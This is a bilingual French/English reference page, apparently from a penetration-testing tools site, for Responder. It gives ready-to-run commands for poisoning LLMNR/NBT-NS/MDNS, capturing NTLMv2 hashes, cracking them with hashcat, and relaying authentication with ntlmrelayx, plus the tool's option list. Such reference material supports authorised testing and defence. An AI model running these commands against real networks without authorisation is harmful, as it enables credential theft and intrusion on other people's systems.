← retour aux outils back to tools

# Responder

Empoisonneur LLMNR/NBT-NS/MDNS pour capturer des hachages NTLMv2 sur le réseau local. LLMNR/NBT-NS/MDNS poisoner for capturing NTLMv2 hashes on the local network.

↗ https://github.com/lgandx/Responder

## Overview

Responder poisons LLMNR, NBT-NS, and MDNS broadcast name resolution queries on the local network segment. When a host tries to resolve a name that doesn’t exist in DNS, Responder answers and captures the NTLM authentication attempt.

## Setup

Edit config before running

    cat /etc/responder/Responder.conf

    # For NTLM relay (disable SMB and HTTP so ntlmrelayx handles them)
    # SMB = Off
    # HTTP = Off

Standard capture mode

    sudo responder -I eth0

With WPAD and NBT-NS/Browser

    sudo responder -I eth0 -wPb

Analyse mode (no poisoning — just observe)

    sudo responder -I eth0 -A

## Captured Hashes

Captured hashes are saved to `/usr/share/responder/logs/` and also displayed in the terminal.

Crack captured NTLMv2 hashes

    hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

## Combining with ntlmrelayx

Terminal 1 — Responder (SMB/HTTP off)

    sudo responder -I eth0 -rdw

Terminal 2 — ntlmrelayx

    ntlmrelayx.py -tf targets.txt -smb2support

See NTLM Relaying for the full relay workflow.

Help / Man page

    responder -I <interface> [options]

    REQUIRED:
      -I INTERFACE    Network interface to listen on

    POISONING:
      -A              Analyze mode (no poisoning)
      -w              Start WPAD rogue proxy server
      -P              Force NTLM/Basic auth on WPAD
      -b              Return HTTP 401 Basic Auth
      -r              Enable NBT-NS/Browser poisoning (UDP)
      -d              Enable DNS poisoning (replies to A queries)

    PROTOCOLS (toggle on/off in Responder.conf):
      SMB, HTTP, HTTPS, FTP, LDAP, MSSQL, IMAP, POP3, SMTP...

    FINGERPRINTING:
      -f              Fingerprint remote host OS

    OUTPUT:
      Logs saved to /usr/share/responder/logs/
      Format: <protocol>-NTLMv2-<client_ip>.txt

    CONFIG FILE: /etc/responder/Responder.conf
      SMB = On/Off
      HTTP = On/Off
      (Disable both when relaying with ntlmrelayx)

## Vue d’ensemble

Responder empoisonne les requêtes de résolution de noms broadcast LLMNR, NBT-NS et MDNS sur le segment réseau local. Lorsqu’un hôte tente de résoudre un nom inexistant dans le DNS, Responder répond et capture la tentative d’authentification NTLM.

## Configuration

    # Modifier la configuration avant de lancer
    cat /etc/responder/Responder.conf

    # Pour le relay NTLM (désactiver SMB et HTTP pour que ntlmrelayx les gère)
    # SMB = Off
    # HTTP = Off

    # Mode de capture standard
    sudo responder -I eth0

    # Avec WPAD et NBT-NS/Browser
    sudo responder -I eth0 -wPb

    # Mode analyse (pas d'empoisonnement : observation uniquement)
    sudo responder -I eth0 -A

## Hachages capturés

Les hachages capturés sont sauvegardés dans `/usr/share/responder/logs/` et affichés dans le terminal.

    # Craquer les hachages NTLMv2 capturés
    hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

## Combinaison avec ntlmrelayx

    # Terminal 1 : Responder (SMB/HTTP désactivés)
    sudo responder -I eth0 -rdw

    # Terminal 2 : ntlmrelayx
    ntlmrelayx.py -tf targets.txt -smb2support

Voir NTLM Relaying pour le workflow complet de relay.

Aide / Page de manuel

    responder -I <interface> [options]

    REQUIRED:
      -I INTERFACE    Network interface to listen on

    POISONING:
      -A              Analyze mode (no poisoning)
      -w              Start WPAD rogue proxy server
      -P              Force NTLM/Basic auth on WPAD
      -b              Return HTTP 401 Basic Auth
      -r              Enable NBT-NS/Browser poisoning (UDP)
      -d              Enable DNS poisoning (replies to A queries)

    PROTOCOLS (toggle on/off in Responder.conf):
      SMB, HTTP, HTTPS, FTP, LDAP, MSSQL, IMAP, POP3, SMTP...

    FINGERPRINTING:
      -f              Fingerprint remote host OS

    OUTPUT:
      Logs saved to /usr/share/responder/logs/
      Format: <protocol>-NTLMv2-<client_ip>.txt

    CONFIG FILE: /etc/responder/Responder.conf
      SMB = On/Off
      HTTP = On/Off
      (Disable both when relaying with ntlmrelayx)